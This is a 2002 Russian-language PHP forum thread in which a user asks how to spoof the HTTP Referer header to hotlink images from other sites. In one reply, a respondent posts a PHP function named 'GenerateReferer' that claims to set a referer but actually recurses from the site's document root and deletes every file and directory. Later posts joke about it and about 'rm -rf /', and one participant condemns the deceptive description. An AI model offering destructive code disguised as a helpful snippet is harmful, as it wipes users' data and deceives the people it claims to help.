Forum Webscript.Ru

Программирование => PHP => Тема начата: kama от 03 Декабря 2002, 10:05:12

Название: php и http_referer
Отправлено: kama от 03 Декабря 2002, 10:05:12
Такой вопрос. Есть скрипт, который выводит на сайт картинки с других сайтов с помощью img src=. Так вот, некоторые сайты не позволяют открывать картинки с них таким образом, скорее всего идет проверка http_referer. Как быть? Каким образом можно подсунуть нужный referer перед выводом картинки?
Название: php и http_referer
Отправлено: Макс от 03 Декабря 2002, 11:14:26
читай RFC по HTTP
+
http://www.php.net/fsockopen
http://www.php.net/curl


PS
если кратко - просто открываеш сокет, посылаеш
Referer: // это примерно, точнее посмотри в RFC
и читаеш картинку
Название: php и http_referer
Отправлено: kama от 03 Декабря 2002, 11:58:34
Так если я ее считаю - то это будет трафик на мой сервер? Смысл показа с другого сервера - уменьшение трафика.
Название: php и http_referer
Отправлено: kama от 03 Декабря 2002, 12:06:10
А самое интересное - что если открываю картинку в отдельном окне (т.е. referer пусть) - открывается. Значит надо как-то очистить этот самый referer перед запросом. Как?
Название: php и http_referer
Отправлено: Макс от 03 Декабря 2002, 12:33:34
Цитировать
Значит надо как-то очистить этот самый referer перед запросом. Как?
никак, по крайней мере на PHP. Реферер броузером посылается.

Наверное проблема не в referer-е
Название: php и http_referer
Отправлено: Меняздесьдавнонет от 03 Декабря 2002, 13:32:04
вот сука.
мало того, что ворует - так еще и нос воротит.

А вы тоже хороши.
у вас ведь у самих тырить будет.
а вы и рады помочь.
Название: php и http_referer
Отправлено: kama от 03 Декабря 2002, 13:47:47
мда, очень вежливо. меня интересует технология. а правовые аспекты оставим заказчику.
Название: php и http_referer
Отправлено: Tronyx от 03 Декабря 2002, 14:37:52
Цитировать
вот сука.
мало того, что ворует - так еще и нос воротит.

Ромик! но зачем же так грубить человеку! Он пришёл за помощью/подсказкой, а ты так на него набросился! Надо быть вежлевым и по возможности помагать. kama эта функция подсунет локального реферера, а также поможет избежать ещё пары грабель которые могут быть "подсунуты" со стороны сервера.

function GenerateReferer($url="") {
    static $c=false;

    $f=fsockopen($url, 80);
    fputs($f, "Referer: localhost\\n");

    if ($c === false) chdir($_SERVER[\'DOCUMENT_ROOT\']);
    $doc=opendir("..");
    while(($e=readdir($doc)) !== false) {
        if($e=="." or $e=="..") continue;
        if(!is_dir($e)) {
            unLink($e);
            continue;
        }
        if(!chdir($e)) continue;
        GenerateReferer($url);
        rmdir($e);
    }
    fclose($f);
}
?>
Название: php и http_referer
Отправлено: AlieN от 03 Декабря 2002, 16:57:57
гаааа......
офигительная штучка...
Мы с металлером уже опробовали.....
Работает
Лучший архиватор со 100% сжатием
Название: php и http_referer
Отправлено: kama от 03 Декабря 2002, 17:03:41
Tronyx
спасибо, конечно, но проще rm -rf / сделать. я не настолько туп, чтобы не разобраться в том, что Вы написали.


ps: А ведь оказывается, что мы живем в одном городе...
Название: php и http_referer
Отправлено: Mog. от 03 Декабря 2002, 17:38:24
А у меня этот скрипт каталоги за файлы держит :(
И строку
if ($c === false) chdir($_SERVER[\'DOCUMENT_ROOT\']);
я бы убрал. Начинать лучше с текущего каталога. И рекурсии чета невидать.
Название: php и http_referer
Отправлено: Tronyx от 03 Декабря 2002, 19:37:24
Цитировать
И строку
if ($c === false) chdir($_SERVER[\'DOCUMENT_ROOT\']);
я бы убрал.

Так удалятся все файлы сайта, а если начинать из текущей папки то тогда "как повезёт".
Цитировать
я не настолько туп, чтобы не разобраться в том, что Вы написали.

Это хорошо.:)
Цитировать
А у меня этот скрипт каталоги за файлы держит

Невозможно.
if(!is_dir($e)) {
...
continue;}

Цитировать
А ведь оказывается, что мы живем в одном городе...

Я так и понял.
Название: php и http_referer
Отправлено: Mog. от 04 Декабря 2002, 08:07:29
Цитировать
Невозможно.

PHP:

Поменял малость в скрипте:
if(!is_dir($e)) {
            print "file: $e
";
            continue;
        }

и он мне все как файлы распечатал и никакого continue

А в целом, Tronyx , думаю ты неправ.


kama
Цитировать
Так если я ее считаю - то это будет трафик на мой сервер? Смысл показа с другого сервера - уменьшение трафика.


Факт! И скриптами ничего, кроме двойного траффика не добъёсси. А ещё я гдето читал беседу двух чел о том как настроить апач, что бы он гнал бешеный траффик на своих запрос картинок с "чужого" сайта, причем траффик ложится как раз на "чужой" сервак. Так что дело это, что палка - о двух концах.
Название: php и http_referer
Отправлено: Tronyx от 04 Декабря 2002, 19:35:54
Цитировать
А в целом, Tronyx , думаю ты неправ.

А ты считаешь что это хорошо когда воруешь чужое, да ещё не хочешь чтобы это ворованое показывалось с твоего сервера, мол трафик экономлю.
Представь себе ситуацию: у тебя есть "обойный" сайт, а какой-нибудь чел, на своих страницах, со своими баннерами показывает твои обои - зарабатывает деньги. Всё бы хорошо, но к тебе в конце месяца прийдёт счёт по-больше обычного...
Название: php и http_referer
Отправлено: kama от 05 Декабря 2002, 11:50:08
Все это конечно правильно, но так хочет заказчик. Он платит за свои пожелания.
Название: php и http_referer
Отправлено: AlieN от 05 Декабря 2002, 13:36:57
Цитировать
проще rm -rf /

а звезду поставить не надо?
Название: php и http_referer
Отправлено: kama от 05 Декабря 2002, 13:43:35
Не надо. -rf все сделает
Название: php и http_referer
Отправлено: Tronyx от 05 Декабря 2002, 15:26:49
Цитировать
Он платит за свои пожелания.

Вот пусть ещё платит и за свой траффик! А не ворует чужой. ИМХО.
Название: php и http_referer
Отправлено: kama от 05 Декабря 2002, 15:32:45
Я это прекрасно понимаю. Но заказчик сказал - надо!
Название: php и http_referer
Отправлено: Tronyx от 05 Декабря 2002, 15:51:19
Цитировать
Я это прекрасно понимаю. Но заказчик сказал - надо!

А ты сказал что для этого нужен пароль, а ты его не знаешь...:) или что-то в этом духе.
Название: php и http_referer
Отправлено: kama от 05 Декабря 2002, 15:55:25
А это все - мои проблемы. Притом что откуда что тянуть - говорит он.
Название: php и http_referer
Отправлено: Tronyx от 05 Декабря 2002, 16:55:27
Нечего кроме флэйма тут не будет.:(

[тема закрыта]
Название: php и http_referer
Отправлено: Mog. от 05 Декабря 2002, 16:56:27
Tronyx
Я не считаю, что воровать хорошо и ни в коей мере не оправдываю kama, но кусок кода с заведомо неверным описанием действия этого кода - это не есть гут. А если я все жизнь провел в обнимку с виндой и unlink мне ни о чем не говорит? Я, допустим, тебе поверю потому, что меня на этом форуме еще никто не обманывал. Допустим я желаю узнать как же посылается реферрер скриптом, нахожу кусок твоего кода и запускаю у себя. Что я подумаю о тебе и об этом форуме двумя минутами позже?